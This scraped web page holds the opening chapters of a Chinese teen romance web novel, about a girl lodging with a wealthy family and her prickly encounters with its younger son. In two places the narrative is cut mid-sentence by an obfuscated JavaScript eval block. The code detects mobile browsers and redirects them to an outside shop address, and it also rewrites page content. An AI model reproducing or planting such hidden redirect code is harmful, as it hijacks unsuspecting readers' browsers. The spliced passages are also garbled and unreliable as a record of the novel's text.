《寄住后拐走傲娇小狗》 1. 恒星01 《恒星登陆计划》 见星帘/2025.11.18 -01- 夏末的傍晚,江北气温依旧居高不下。 一缕橘红余晖斜斜落进嘉桥北巷,映亮地面石板,灰色水泥墙拉长了不规则光影,在裁缝铺的台阶上随风晃动。 “欢迎光临——” 门口的招财猫传来第六次谎报。 路期灵头也不抬,坐在玻璃木柜后刷着练习题,铅笔与草稿纸发出沙沙声,算出结果,她仰起脑袋活动了两下脖颈。 等到酸胀的感觉消失,她抻了个懒腰。 “话痨鬼,没人也要叽哇乱叫。” 盯着一脸谄媚笑意的招财猫,路期灵磨磨牙,小声嘀咕:“这要是我家,迟早给你发卖出去。” 不过想到这一下午的惨状。 这要真是她家的铺子,恐怕开张即失业。 半个月前,路期灵从鹤林来到江北。 有天闲来无聊,她独自出门去了趟书店,结束后却忘了回家的路。 迷茫之际,恰巧遇上这家裁缝铺老板的女儿赵明娇。女生很热情,一来二去两人便熟络起来,路期灵也交到了在这里的第一个朋友。 今天中午她们原本约好去图书馆学习。 谁知赵明娇接了电话要去医院,临时拜托路期灵帮忙看店。匆匆交代几句,完全没等她听明白就离开了裁缝铺。 硬着头皮上岗,路期灵尤其谨慎。 十分担心因自己而搞出什么不可逆的差错。 毕竟裁缝铺平时除了日常活计,还会卖一些纽扣拉链。由于是旧城区这片唯一一家,周边住的都是老人小孩,所以生意不错。 然而谁知路期灵当代理老板的这几个小时里,竟然一个人影都没看到。 甚至连招财猫都在不甘寂寞地笑话她。 路期灵支着下巴,被自己无厘头的想法逗乐,晃了晃腿,嘴里慢悠悠地哼着歌,百无聊赖地在纸上涂涂画画。 细微的摩擦动静里,门外响起脚步声。 “有人在吗?” 路期灵耳梢一动,扭头望去。 随即瞧见外头台阶边站着个高个男生。像是连最后几步路都不愿多走,他扒着门框探出头,鼻尖挂着一副墨镜,面庞带笑,一眼让人心生好感。 路期灵跳下高脚木凳,扬声应:“有的!” 见店里有人,男生哦了一声。 他三两步跨进裁缝铺,话语飞快砸下来:“我来取衣服。前两天马路对面陈家拿过来的那件,多少钱?” “……” 可真是风风火火。 没来得及出声询问的路期灵闭上嘴,顺着他的话走到衣架前,有些生疏地扒拉了几下。后知后觉地反应过来,赵明娇似乎并没有提前告知这件事。 缩回手,她兀自镇定地问:“什么款啊?” 男生被问得一愣:“啊?” “是男人穿还是女人穿的?”路期灵体贴补充,“什么颜色,上面有没有图案。这样方便我来找。” 对方显然也没料到取个衣服居然要这么麻烦,想了半天,挠了挠头说:“我来帮别人拿的,不太清楚。” 顿了顿,男生眼神狐疑:“你不是老板?” “我也没说我是啊。” “?” 路期灵顶着一副无辜的表情跟他对视几秒。 清了清嗓子,她退回到玻璃柜边上,从书包夹层里摸出手机:“你等等,我问问真正的老板。” “……” 说着话,路期灵点开赵明娇的□□。 发完消息,又一脸平静地紧跟了句:【你什么时候回来,我好蠢T-T,感觉有点高估了我的本事 /崩溃猫猫】 男生没太在意,随手将墨镜放到缝纫机上,自来熟地搭话:“难怪呢,我说我经常过来怎么从来没见过你。你是赵老板家亲戚还是学徒啊?” 路期灵心不在焉地答:“我帮同学看店。” 男生神情一亮,好奇追问:“你是赵明娇同学?这么说你也是附中的喽?几班啊,我有个发小在理五。” “……” 为什么能有人的问题这么多! 路期灵懵了,将眼神从手机屏幕移开,难以形容地看了看他,可男生仿佛完全没意识到,面色坦然地等待答案。 她皱了下鼻尖,绞尽脑汁地思考先回答哪一个。 忽地,手机嗡的一声。 赵明娇的消息适时弹了过来。 得到回复,路期灵的紧迫感瞬间消散。 没再顾及男生的问题,她给赵明娇发了个OK的表情。而后找到衣服,仔细装进塑料袋,递给男生:“二十块。” 话题被岔开,男生同样转移了注意力。 付完钱,他走的时候还不忘跟路期灵说了再见。 店里安静下来。 路期灵重新坐回椅子上,看了眼时间,打算再等半个小时就回家。刚合起习题册,眼一抬,冷不丁瞥到缝纫机上多出了一副黑色墨镜。 定睛一瞧,是那位唯一的顾客带进来的。 她抓起墨镜,当机立断地追了出去。 马路两旁的香樟树阻挡了视野。 路期灵左右张望都没看到人,抓了抓眼皮,犹豫着或许可以让赵明娇转达。又在转瞬间,脑海中闪过什么。 她的目光偏移,看向斜对面一家未打烊的商铺。 失主正从里往出走,边走边回头说着什么。 路期灵顿时松了一口气。 穿过马路,她做好准备,正要出声喊人,店门口的塑料软皮帘子倏然滑落。 啪嗒一声—— 旋即,里头伸出一只手撩开门帘,骨节分明。短袖下那截小臂皮肤白,腕部戴了一根黑色细绳,手肘关节清瘦凸起。 男生握着一页门帘挂好后,低头朝出走。 前额黑发被风吹乱,他的半边侧脸逐渐被赤红晚霞的残影覆盖,不知道听外面的人说了什么,唇边露出一抹戏谑的弧度:“要不喝点药吧。” “干嘛?” “废话这么多,我怕你哪天被打死。” “……” 尽管并不知道他们在说什么,但路期灵还记得裁缝铺里的情景,偷偷一笑,不合时宜地发出一道极轻的声音。 下一秒。 男生尤为敏锐地侧目看过来。 路期灵毫无征兆地跟他四目相对。男生眸间的笑意没有完全收尽,弯起的眼尾稍稍下垂,睫毛好似鸦羽般浓密,在下眼睑扫出一层薄薄的乌影。 他逆光站立,整个画面如同加了暖调滤镜。 视线碰撞不到半刻。 他渐渐敛起笑痕,略显冷漠。 嚯。 好酷一男的! 路期灵眨了下眼睫,在心中无声感慨。 她继续隐秘地欣赏了片刻,直到男生毫不掩饰地蹙了蹙眉,意识到自己的注视大概已经开始冒犯到对方,这才意犹未尽地赶紧收回眼。 正了正色,路期灵看向墨镜失主:“你的东西。” “哎?怎么在你那儿。” 见来人是路期灵,他惊讶一瞬。来回摸了摸兜,想起什么后恍然大悟,“哦哦我都忘了。非常感谢,不然明天我指定记不起来这玩意儿落哪了。” 路期灵顺势嗯嗯两声,将墨镜还回去。 见他好像还想说些什么,回忆起不久前自己没回答的问题。她机智地跟对方挥挥手,道过别,没再往另一位大帅哥那儿看,头也不回地离开了。 马路断断续续有车辆经过。 路期灵小跑着回到对面,身后开走的皮卡卷起一阵风,眼前浮现出短袖男生偏头那一瞬的笑眼。 瞳孔颜色很深,神色揶揄。 像一只连笑容都仿佛在挑衅的小狗。 记忆里的画面定格,路期灵不由自主地暗自回味两秒。不禁美滋滋地想,拥有一双发现美的眼睛,这对颜控选手来说实在太过友好。 即便被发现的那位看上去不太好招惹。 可是这又有什么所谓呢。 萍水相逢而已,少看一眼都是损失! 路期灵心情颇佳地背过双手,垫着脚尖往回走。 “嘚瑟什么呢?” 肩膀被人从后方拍了一下,路期灵偏过头,发现是赵明娇,心头不自觉一松:“你可算回来了。” “嘿嘿对不起啦。”赵明娇微顿,挽住她的胳膊笑着告饶,“我奶奶挺长时间没见我了,这不快开学了嘛,所以我爸就让我多陪了她一会儿。” 路期灵了然:“好吧。” “你待会儿想吃什么?”赵明娇想了想,推荐道,“这前面有家木桶饭特别好吃,我请客吧。” 两人相携回到铺子里。 路期灵正要答应她的邀约,放在习题册上面的手机响了一声。她走过去,拿起来一看,是梁大哥发来的短信。 梁驭呈:【小路,几点到家?】 梁驭呈:【今晚阿恒也在,一起吃顿饭?】 几乎没有犹豫,路期灵回了个“好的”。 随后举起手机对赵明娇晃了晃,十分惋惜地说:“下次吧!我现在得回去了。” “可你回去不也是一个人。” “今晚不是。”路期灵将习题册塞进书包,“梁大哥说他弟弟也在家,我姑姑让我少惹事,所以第一次见面还是不要缺席了吧,免得留下不好的印象。” 赵明娇有些迟疑:“但是你都到他家十几天了。” “嗯嗯?” “家里来客人这么久,他一直不露面,给我一种不是很好相处的感觉。”犹豫了会儿,赵明娇委婉开口,“要不然,你是不是哪里得罪他了啊?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786659|190492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 已经留下了不好的印象,才这样怠慢。 路期灵惊讶:“面都没见过也会得罪吗?” 赵明娇不知道怎么接话,抿了抿唇。 好在路期灵并不需要通过旁人来确定这一观点,思索半秒,肯定道:“如果真是这样,那就是他的问题了。” 她一把拉上拉链,合理总结:“我又没什么超能力,还能隔空攻击人的。” “……” - 梁家的大别墅距离嘉桥北巷并不远。 离开裁缝铺,路期灵坐上直达的136路公交车。正值下班高峰期,车上人很多,她被挤在后门口的位置,晃悠了二十多分钟后终于抵达站点。 路期灵抱着书包下了车,沿着檀林大道朝里走。 放眼望去,半壁粉紫色的天在几栋白色建筑后渲染成画,倒映在湖心,浪漫昳丽的犹似宫崎骏电影里的画面。 路期灵还记得第一次走上这条路时的震惊。 毕竟在她贫瘠黯淡的想象中,只有动画片里备受宠爱的公主,才会住进这样的房子,昂贵又奢侈。 思及此,路期灵自然而然地联想到了梁屹恒。 梁大哥的那位亲弟弟。 还记得她刚来到江北那天,梁驭呈介绍对方说不常住家里,学习不错,虽然表面看似不好相处,冷冷淡淡的话很少,但实际是个热心肠的好孩子。 “……” 也不知道这前后相悖的描述是真是假。 路期灵漫无目的地瞎想着,再抬头已经到了门口。 收敛起思绪,她进了家。 帮佣阿姨听到动静,过来跟她打招呼:“回来啦,晚饭马上就好。” 路期灵别着脑袋在客厅张望:“梁大哥呢?” “在二楼。”阿姨接走她的书包,“他也刚刚到家,一进门就上楼去找小恒了,应该是有什么要紧事。” 闻言,路期灵的眼神飘向头顶那架镂空栏杆。 别墅客厅是挑空式,偌大的水晶吊灯从顶部悬挂垂落,二楼廊道分隔开两片区域,梁屹恒的房间在左侧。 这个角度,只能看到门口墙壁的流苏灯。 “饿不饿?” 阿姨还在耳边询问,路期灵摇了摇头。 “那行,你先回房休息会儿。”阿姨在围裙擦了擦手,叮嘱道,“等下吃饭的时候可以主动点,家里就这么几口人,打好关系对你没有坏处。” 又是一个跟姑姑说同样话的人。 清楚阿姨这是为自己着想。路期灵应下,乖乖道了谢,踩着拖鞋上了二楼。 她的卧室在最里侧,回去要经过梁屹恒的房间。 走过楼梯口,路期灵瞄了一眼,注意到这小半月以来始终紧闭的房门,此时悄无声息地开了半扇。 里面传来格外吵闹喧嚣的重金属音乐。 聒噪又刺耳。 秉持姑姑反复叮咛的“少看少说少打听”真言,路期灵收回眼,拎着书包,目视前方地继续走。 刚走没两步,音乐忽然被按下暂停。 同时,房间响起梁驭呈清晰可见的声音。 “睡觉还吵成这样,你嫌梦里太安稳是不是。”他声线带笑,催促道,“赶紧起来洗个澡换件衣服。” 而男生似是被人打扰了睡眠,语调生硬,嗓音沙哑:“又有什么事?” “晚上跟小路一起吃饭,你可别掉链子。” 听到他们在说自己,路期灵竖起耳朵。 下意识停了步子,站定在距离房门两步的地方。 “不吃。” 梁驭呈好笑:“你不吃饭啊?” “嗯。”梁屹恒懒散应,“饿死。” “……” 房间里瞬间僵持。 出乎意料的答案让路期灵惊诧不已,很是忧心梁驭呈被毒死,她忍不住舔了下唇,只想快速逃离这尴尬场景。 迈开脚步,正要离开走廊的时候。 梁驭呈吐了口气:“我不管你最近因为什么闹别扭,但今晚吃饭必须到场。小路来江北半个月,你次次找借口不露面,不知道的还以为梁家恩将仇报。” 停顿了下,他加重语气:“上学期末你打架的事,我可还没跟你清算。” 恰好路期灵经过卧室门口。 听到这话,她没忍住飞快地投去一瞥。 梁屹恒套了件白色短袖,头发乱糟糟的,睡眼惺忪地窝在窗边沙发里,浑身散发出挡不住的倦意。 手肘随意撑着,指尖闲适地拨弄桌上的混沌摆件,钢珠有一搭没一搭地发出清脆的撞击。微曲的指节如同伞骨般瘦长有力,手背绷出浅浅的脉络痕迹。 看上去丝毫不在意梁驭呈话里的威压。 他对后半句充耳未闻,抬了抬唇角,极度不爽地轻哼一声:“我看你这不是报恩,是接了个祖宗。” 2. 登陆02 即使路期灵已经提前做好心理准备,但这一刻,仍是对梁驭呈不符合实际的描述产生了深切的怀疑。 热心肠的好孩子暂且不谈,话很少是真的吗? 步伐迟缓地顿住,路期灵一脸迷茫。 房间里,随着话音落地。 梁屹恒慢慢转过头,撩起眼皮去看站在身前的梁驭呈,懒洋洋地评价:“你可真够忙的。” “……” 卧室里的白色灯光洒落在他的整张脸上。 顷刻间,路期灵认出了这个人。 在嘉桥北巷那家店铺外遇到的男生,居然就是梁屹恒。她张了张嘴,不待消化掉那丝薄弱的震惊,对方察觉到她如有实质的凝视,视线稍偏。 两人隔着距离再度对上双眼。 大约也在同一时刻将她认了出来。 梁屹恒微怔,很快反应过来,他的眉骨下压,冷不丁地站起身。 被他突如其来的举动一惊。 路期灵嘴唇紧抿,杏眼圆润瞪大,握着书包带的手用了点力,却毫无惧意地回视过去,表情写满了“干什么”。 “小路?” 梁驭呈跟着回头看向门外,愣了愣。忽地想到不久前他们的对话,有些不自然地问:“什么时候回来的?” 路期灵老实道:“我刚上楼。” “那——”看她这样也不清楚听到多少,梁驭呈索性岔开话题,“给你介绍一下,这是我弟弟梁屹恒。阿恒,这是我给你说过的,路期灵。” “都是同龄人,你们互相认识认识。” 路期灵觑了觑梁屹恒。 眼神游移不定地在男生脸上转了两圈,不可置否的是,她对梁屹恒第一印象还不错,也认为这时候不给梁驭呈面子不太好。 于是审时度势地率先出声:“你好。” 等了几秒钟。 沉默。 耳边一片安静,对方似乎没有要接话的意思。 好在路期灵不是会动不动就尴尬窘迫的性格。 她抬眼望过去,不料男生还盯着自己。意外撞进他的视线里,黑沉,讶异以及一丝不明意味的审视。 这人看什么呢? 他直白的目光险些弄得路期灵以为脸上不干净,指尖微动,正犹豫着伸手摸一摸脸时,她看到梁驭呈搭上对方的肩膀,不轻不重地捏了两下。 梁驭呈提醒:“发什么愣。” 梁屹恒明白了情况,垂下眼:“嗯,知道了。” “……”记起他刚才倏然起身的模样,梁驭呈来回打量了几眼这两人,莫名觉得不对劲,“你们认识啊?” 梁屹恒:“不认识。” “那看到小路怎么这么大的反应?” “膝跳反射不行?”梁屹恒抖了下肩上的那只手,臭着脸地啧了声,“让不让人换衣服了。” “……行,我不打扰你。” 梁驭呈无奈,又交代了两句后往出走。 见状,路期灵朝旁边让了让。 梁驭呈顺手掩住门,思考片刻,跟她说明:“前面的话不知道你听没听见,但别放心上,我弟弟这个人总是心口不一,他没有不欢迎你的意思。” 路期灵大度地接受了解释:“谢谢梁大哥。” “不用这么生疏。”梁驭呈说,“跟阿恒一样喊我哥哥吧。至于那臭小子,熟悉以后就不这样了。” 对于这话,路期灵嘀咕了句那可不一定。 在嘉桥北巷那里,他跟墨镜男生应该关系不错,可说出来的话,还不是照旧如同带刺的玫瑰。 “什么不一定?” 突然被接话,路期灵收敛起思绪,抬手抓了抓脑袋,没跟他撒谎:“其实我今天见过他。” 梁驭呈心道果然:“在哪里?” “在旧城区。”路期灵慢吞吞地说,“当时他跟另一个关系挺好的男生,话有点多,他让人家多吃点药。” “?” “还说怕人家被打死。” “……” 顿了顿,路期灵含蓄地看他一眼:“所以我是觉得,哪怕时间久了,可能也不一定会好好说话。” 毕竟表达能力登峰造极到这种地步的,实在不多见。 “……” - 得益于路期灵从小到大的成长环境,外界对她产生的恶意或排斥,从来不在她的思考范围内。 所以比起梁屹恒对于家里突然多出一个人,而表现出的抵触与不耐,路期灵从始至终都很适应。 并且在她眼里,梁屹恒的反应相当正常。 自然也不会因此而感到怯意。 回到房间。 路期灵心无旁骛地刷了半个小时的英语阅读,见时间差不多了,她神清气爽地下了楼。 梁驭呈站在落地窗边打着电话,听见动静,回头时面色间的温柔依稀可见,笑着道:“说曹操曹操到。” 路期灵刹住脚步:“在说我吗?” 梁驭呈:“你嫂子让我问你想要什么见面礼。” “啊?之前不是给过了吗?”想起那份房产,路期灵果断拒绝,“我不要什么礼物,不用破费啦。” 随便打了个哈哈,她迅速结束话题,而后钻进厨房去帮忙。 阿姨手脚麻利,只剩最后一道菜。 路期灵探头过去张望,身后倏然传来脚步声,她转身看了一眼。 厨房门正对楼梯,梁屹恒趿拉着室内拖鞋朝下走,依旧穿着那件白T,下身是条运动长裤。三两步下了楼梯,垂落的裤绳随着步伐细微甩动。 肩宽腿长,身形高大。 像是肩颈不太舒服,他稍稍垂着头,一手按着脖颈松劲儿。走进厨房,拉开冰箱柜门抽了瓶冰水。 旁若无人地拧开瓶盖,仰头灌了两口。 直到这时,路期灵才终于看清他眉梢旁的一道擦伤,应该刚被清理过,周边沾了点药水的痕迹。 她悄然无声地收回眼,再度对梁驭呈的好孩子言论报以怀疑态度。 “小路,帮阿姨把这个抬出去。”阿姨摸了摸盘沿,又阻止,“算了,还是我来吧,有点烫手。” “没关系。”路期灵捋袖子,“我自有无情铁手。” 阿姨让她逗笑:“你这孩子说话真有意思。” 路期灵从旁边找了块垫手的毛巾,叠了叠。 正准备去端盘子。 “费劲。”耳边传来若有似无的轻嗤。 随后,身高差带来的居高临下感从后方倾覆而来,路期灵偏了偏脸,余光捕捉到了一片白,和鼻息间游走开的清爽气味。淡淡的,格外干净。 路期灵不动声色地耸了耸鼻尖。 平心而论,有点好闻。 目光跟着再往上,是对方的脖颈与喉结,还有棱角分明的下颌,瘦而利落,以及散漫低垂的眉眼。 左眼正中间往下的地方,有一颗很浅的泪痣,黑眸坠入细碎阳光,像拥有千亿恒星的银河。 此时没什么情绪地注视着她。 “看够了吗?”梁屹恒移开视线,抬抬下巴,“看够了往旁边让让。” “哦哦。” 路期灵捏着那块毛巾退开两步,折叠两下,放回原来的位置。看着梁屹恒抬盘走人,在脑间继续神游。 ——撇开那张嘴,还是帅的。 饭菜上桌,几人陆续落座。 梁家没有食不言寝不语的规矩,但不知道是因为梁屹恒被提前敲打过,还是没睡醒,席间只有梁驭呈的声音,偶尔路期灵接应两句。 由于后天是开学日,不免说起之后的安排。 “正好你跟阿恒都是理科,我跟你嫂子商量了一下,安排在一个班也好有个照应。”梁驭呈略作思索,“以后让杨叔空出来,专门送你们上下学。” 梁屹恒轻搅汤匙的动作一顿,眼尾往边上轻扫:“我开学住京华园。” 京华园是旧城区东部近两年新开的楼盘,和嘉桥北巷属于同一条街道。 被他的眼风冷到,路期灵莫名其妙地回以一眼。 梁屹恒一顿,嘴角轻扯。 丝毫没注意到两人眉眼官司的梁驭呈皱了下眉头:“不回家住?” 梁屹恒散漫地嗯了声。 “但我想着你之前说那套房子隔音差,打算月底重新装修。”梁驭呈四两拨千斤,“还是你要借宿陈家?” “……” 梁屹恒被拿捏住,不太痛快地抬头看去。 恰好对上梁驭呈笑吟吟的眼,一股无处纾解的烦闷涌上心头,他嘴唇微动,又听对方道:“回家住,顺便平时也帮哥哥多照顾照顾小路。” 骤然被提及,路期灵隔岸观火的神态来不及收回。 梁屹恒顺着话茬已然偏头看了过来。 这张帅气明朗的脸没有笑意的时候,冷淡疏离到不近人情。猛然四目相对,她居然有些腿软,咽了咽寒津津的喉咙。 眼眸里的困惑与迷茫一览无余。 梁屹恒猝不及防地撞进路期灵眼里,到嘴边的刻薄话语却蓦然顿住。 盯了片刻。 梁屹恒睫毛眨动,缓缓皱起眉。 她额前留着齐刘海,厚重感使那双大而亮的杏眼笨笨呆呆的,可偏偏近距离看人又格外纯粹清澈。 像某种毛茸茸的动物幼崽。 柔软,脆弱,轻易就让人拥有想要保护的欲望。 路期灵不明白他为什么又这样一瞬不瞬地看着自己,蹙蹙眉,问得干脆:“我是长的很有观赏性吗?” “不。” 梁屹恒的抗拒犹如一拳打在棉花上,憋的神情变幻莫测,视线在她刘海上打了个转,好半晌才改口吐出一句:“是没看出来你这发型还挺复古。” “……” 路期灵噎了下,眸色古怪地看着他。 不待她从这张脸上找到解释,梁屹恒眉头渐松,没再继续这个话题,答应了前面的提议:“我回来住。” 自从步入青春期就再没见过他这副吃瘪的模样。 梁驭呈挑眉:“不骗我?” 梁屹恒眼皮一跳。 脸色顿时垮了,他语气不太高兴:“骗人是狗。” “……” - 这顿饭吃得暗潮汹涌,结束后,三人各自回了房。路期灵在窗边消食,拿过手机,看到来自赵明娇的问候。 她随手点了进去,进行回复。 得知已经吃过晚饭,赵明娇迫切想听后续:【见到面了吗?那位梁大哥的弟弟好不好相处。】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786660|190492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 路期灵勉勉强强:【还行吧。】 赵明娇:【还行是什么意思?】 路期灵想了想,阐述了遍厨房里发生的经过:【我以为会装瞎呢。虽然说话不太好听,但跟我又没关系。】 赵明娇:【也是。】 路期灵:【不过他最后又说我发型复古。这人太奇怪了,完全听不懂。】 赵明娇:【……你确定他想说的不是老土?】 饱腹感顶着胃部,路期灵出了汗,伸手推开窗。凉风吹起她的刘海,瞥到这条消息,弱弱反驳:【我哪里土啦!】 赵明娇:【也不是。】 赵明娇:【主要你长得这么漂亮,这种发型简直是暴殄天物嘛。】 “……” 路期灵默了默。 倒也不是只有赵明娇一个人这么说。 路期灵皮肤白,是很难挑出错的精致漂亮。和名字几近相仿,她的长相格外灵动,鼻型与眼睛融合了父母的优点,唇红齿白,脸蛋线条柔和明丽。 一笑起来整张脸瞬间鲜活,格外讨喜。 剪刘海的起因在初二那一年,学校里有女学生被隔壁职校的男生数次骚扰,最后还是报了警才得以解决。 后来家长会上,姑姑路芸知道了这件事,怕历史重现,于是给她剪了头,又让她在学校行事低调。 路芸是为了保护她,路期灵知道。 她在这个世界上有且仅有这一个亲人了,因而姑姑希望的,她都会做到。 简单结束跟赵明娇的聊天,路期灵点开短信,看到上次发给路芸,但并没有得到回复的信息。 盯着看了会儿,极其少见地感到一丝怅然。 转学到江北,是她十六年来第一次离开家。 当时在暴雨天气里,救下梁驭呈纯属是无心之举,那天无论车祸昏迷的人是谁,路期灵都会伸出援助之手。 自然也没想过,会得到什么好处。 因此在被姑姑告知他们商量过后,梁家为了答谢,会接她过来念完高中时,路期灵其实是非常不愿的。 不想离开路芸,也不想离开鹤林。 但没用。 直到临别前,梁家司机拿走她那只小小的行李箱,路期灵抓着路芸的手,寡言少语的女人难得动了下唇角。 “去了好好学习。”她说。 …… 深吸一口气,路期灵关掉手机放到一边,摊开下午没做完的试卷开始做题。 等再抬头,时间临近十一点。她习惯性地挺了挺腰背,登时疼的皱巴了脸,整理好纸笔,起身去楼下喝水。 客厅只剩两盏不明不暗的壁灯亮着。 缓解了那阵口渴,路期灵又加了半杯。正想上楼回房间,大门外一阵窸窣,响起输密码的动静。 滴滴两声。 梁屹恒从外面走了进来。 不知道他是什么时候出的门,此时外头正下着小雨,他浑身裹着水汽,踏进玄关,低头甩了甩额发。稍抬眼帘,在瞧见路期灵后顿了顿。 随即,又轻飘飘地收回眸光。 他没吭声,而路期灵还记得经过赵明娇解析,才辨认出这人阴阳自己土的那番话,也不太想开口。 但基于寄人篱下的身份,她捧着杯子浅啜,很是敷衍:“你回来啦。” 梁屹恒大概心情不错,尽管对她这显而易见的问题有些莫名其妙,还是随意地接了一句:“有事?” 没料到他居然会搭理自己。 路期灵愣了几秒,态度稍收:“我就问问。” 话音落,梁屹恒已经脱掉了沾水的薄外套,扔进脏衣篓,换好鞋往里走。两人之间的距离逐渐在拉近。 即将从面前走过的时候。 梁屹恒忽然出声:“有事就说。” “我没——”路期灵下意识的回答一顿,丝滑改口,“那如果有问题的话,能找你帮忙吗?” 梁屹恒:“看情况。” “什么意思?” “意思就是我不是警察,为人民服务不是我的宗旨。”梁屹恒神色不咸不淡,看不出多少情绪,“但你救了我哥,所以解决不了的事情我会帮忙。” “噢。” 路期灵点点头,想着住在同一屋檐下,又是一个班,即便不能做好朋友,和平共处应该还是可以的。 思及此,她还挺期待地邀请道:“那么后天要跟我一起去学校吗?” 不料梁屹恒瞥她:“你是去上幼儿园?” “……好吧。” 听懂拒绝,路期灵顿时没了继续示好的心思。但他迂回曲折的拒绝方式着实令人不舒坦,她没忍住道:“其实你跟我说话可以敞亮一点。” 说完,又严谨地加了句:“正常交流。” 然而下一瞬,梁屹恒却倏地笑了一声。 路期灵不明就里地看向他。 男生眼皮很薄,褶皱窄而浅,眉眼具有十几岁这个年龄带来的青涩,直勾勾盯人时总显得挑衅。 他屈起指节蹭了下眉骨,唇角仍旧维持着弧度。 只是看上去有些不知收敛的哂意。 “你不也亲口说了,我学不会好好说话。”梁屹恒拖着调子,疏懒道,“那我总不能厚此薄彼,让你当例外吧?” 3. 恒星03 他的神情玩世不恭,问出这种话不带一丁点暧昧,模棱两可的语气反而让人觉得奚落。 这下路期灵也看出来了,梁屹恒的态度并不友善。 她不打算粉饰太平,直截了当地提了这件事:“你是不是对我有意见,因为我转学住进你家吗?” 似是为她的迟钝感到惊讶,梁屹恒漫不经心地扯了下唇:“这是梁家,不是我一个人的家。” “真的?”路期灵没去思考他话里真假,直言点出,“可你的眼神,总有种下一秒就要把我赶出去的样子。” “……” 见他顿住,路期灵歪了下头:“你会吗?” “脑补得不错,但大可不必。”梁屹恒面色渐淡,平添几分疏离,“我没这么缺德,做不出恩将仇报的事。” “是吗。”路期灵很明显地松了口气,“既然你这么说,那我就放心了,毕竟我也不希望给你们添麻烦。” 梁屹恒轻嘲:“那麻烦你最好是记住,还请没事别总来我面前晃悠。” “……” 试图与不正常的人正常交流真是费劲,不清楚他究竟是吃什么长到现在的,一张嘴就带刺。 跟仙人掌似的,平等地刺中每一个人。 路期灵默了两秒,幽幽道:“我十六岁。” 梁屹恒:“?” “不是六十岁,还没到得健忘症的年龄。”路期灵的眼珠转了转,决定还击一次,“不过你说得对。” 没明白她的意思,梁屹恒掀了掀眼皮。 漆黑的瞳孔浮现出疑问,随即仿若纡尊降贵一般。 他闲适发问:“我说什么了?” “你说还是一视同仁比较好,我觉得也是。”路期灵嘴角弯出笑,一副很为他着想的模样,“但建议你以后还是别说那种话了,免得被人误会。” 梁屹恒扬眉。 路期灵面不改色地回望过来,眸色尤为真切:“你应该也不想让别人认为,我是你的例外吧?” - 水流声哗哗作响。 梁屹恒站在洗漱台前拄着胳膊,稍稍躬身,垂落的目光定格在白色面板上,思绪很久没有回笼,依旧停留在路期灵说的最后那些话。 简直和她的形象大相径庭。 那一瞬间,许多画面与对话汇入脑海,包括吃晚饭时才看清的她的脸,软绵绵的,感觉能被他单手拎起来。 也似乎与梁屹恒对她的初印象并不一样。 他第一次听到路期灵这个名字,是在上个月底。 因为梁家人口少,除了目前常年居住疗养院的老爷子,只剩他们兄弟俩。为了对路家表示诚意与感谢,梁屹恒没犹豫,跟着梁驭呈夫妻一同去了鹤林。 然而不凑巧,那天路期灵正好不在家。 可能是听到消息,他们聊天的途中,房间里陆续有人来往。无聊到极致,梁屹恒却也不好拿出手机来玩,只能安静坐在一侧旁听。 直到进来一位年纪稍长的女人。 对方径直坐到对面,不停地打量他,眼神里别有用心的精明格外直白,看得他浑身不适,起身出了门。 本来梁屹恒没觉得这是什么要紧的事。 但不知道过了多久,在他即将回去的时候,忽然听到了一小段对话。其中有两句比较出格,大致意思是,当时救下梁驭呈以后,他们其实并不想报警。 梁屹恒迟疑了下,偏头看过去。 是刚才那个女人和路芸。 女人仍在侃侃而谈:“我当时的确是劝着让你们不要报警,他烧成那样,醒来啥都忘了,反正要在家里养一段时间,说不准跟你姑姐就成了。” 路芸没有吭声。 女人继续说:“现在可好,人家一回去立马结婚。既然这办法不行,我看他们家小儿子挺不错,俩孩子定个亲,你也不用担心零零过去受欺负,不是吗?” 听出这话是在说他。 梁屹恒没忍住皱了皱眉,避免被对方看见,索性后退一步。他神色渐沉,下颌往里收,腮帮子咬出一道痕迹。 垂着眼,尽量遮盖住深处那抹反感。 偏偏女人还在游说:“你表侄女明年毕业,马上得找工作找婆家,要有个这么有钱的靠山,难道不是好事?” “……” 而从始至终,路芸都没有出声阻止过。 也或许是梁屹恒没有听见。 但那些不可告人的话语牢牢将思绪占据。 这对最痛恨算计的梁屹恒来说,实在是触碰底线,理性告诉他应该感谢路期灵,感性却难免受牵连。 因此即便两人接触不算深,他也已经有了先入为主的糟糕印象。 梁屹恒做不出来欺负女生的事情,何况对方救了梁驭呈,可潜意识里又很难产生好感,只能敬而远之。 保持距离才是最好的相处方式。 洗完澡,梁屹恒换了睡衣走到床边。 弯腰勾起手机,微信班群里正聊得热火朝天,他直接略过,点开陈准半小时前发来的消息:【谢了兄弟】 陈准:【听云繁说,你家里来了位客人?】 梁屹恒皱眉:【他喇叭成精啊?】 陈准:【不想说就算了。】 陈准:【明早要是不下雨,外婆那边你记得再帮我盯着点,让她安心在你那里住,回来我请客。】 梁屹恒:【ok】 回完消息,他刚要放下手机。 陈准又发来一条:【他还说是你妹妹。】 梁屹恒:【。】 陈准:【真?】 “……” 什么妹妹,能定亲结婚的妹妹吗? 梁屹恒嗤了一声:【让他做梦比较真。】 半干未干的头发散落在额前,他伸手往后拢了下,面无表情地回:【还有,造谣拘留五天。】 陈准:【……】 - 和梁屹恒的首次交谈以面目全非告终。 路期灵从小到大很少与人争执,这还是第一次。当时回击的确很爽,可事发后内心不免有些惴惴。 